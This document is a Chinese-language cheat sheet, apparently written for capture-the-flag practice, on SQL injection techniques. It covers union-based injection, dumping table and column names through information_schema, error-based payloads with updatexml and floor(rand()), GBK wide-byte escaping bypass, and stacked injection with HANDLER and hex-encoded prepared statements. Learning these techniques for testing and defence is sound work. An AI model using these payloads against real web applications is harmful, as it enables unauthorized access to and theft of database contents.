SQL注入常用方法
聯合注入(union):
①判斷注入型別:
先判斷注入型別:字元型,數字型(注入 id=a 報錯表示 型別為數字 ,即就是$id,沒有””)
判斷如何包裹:輸入去判斷 資料是如何包裹的,單引號報錯是單引號,雙引號報錯是雙引號,在判斷有沒有括號包裹
例子:輸入 a,1” ,1’ ,都報錯 就是單純的 $id
用 ‘,”,) 加在 id=1 後面,以 %23 結尾來測試 輸入的結構
是註釋符 (url編碼%23)
②查列數:
聯合查詢時 union select 後面列數要相同
(用oreer by)
③確定欄位位置(為了確定資料與欄位的對應關係)
union select 1,2,3,4,5 (看 12345 的位置)
當⻚⾯只會顯示⼀⾏資料時候,需要先拼上⼀個恆假的條件讓前⾯的結果集沒有輸⼊
and 1=2 union select 1,2,3,4,5
④查表名
select group_concat(table_name) from information_schema.tables where table_schema=database()
⑤查列名
select group_concat(column_name) from information_schema.columns where table_name='xxx'
⑥查資料
例子:
無列名注入:
?id=1 union select 1,(select group_concat(a) from (select 'a' union select * from f1ag_table) as t)
報錯注入:
WHERE id =1 AND updatexml(1,concat(0x73,(select database())),1)
SELECT count(),concat((select database()),floor(rand(114514)2)) FROM users GROUP BY 2
寬位元組注入:
利用 GBK 編碼 用 %DF (因為可以和%5c 構成漢字 )來繞過註釋 (比如’,” 符號會被加 \ 註釋掉) 加 %DF 後 由於 DF 大於127 ,會把 %DF 和後一個字元(\)看作一個漢字,從而繞過註釋
堆疊注入:
也叫多⾏注⼊,當代碼允許多⾏查詢時候使⽤,⼀般是在select等關鍵字被過濾的時候進⾏使⽤的。 對於堆疊注⼊,我們⼀般使⽤兩種⽅式進⾏繞過select
1.查表:
show databases;
show tables;
- Handler使⽤
handler test open;
handler test read first;
handler test close;
3.動態執⾏預處理
set @a=0xxxxx; # 要執⾏語句的16進位制
prepare test from @a;
execute test;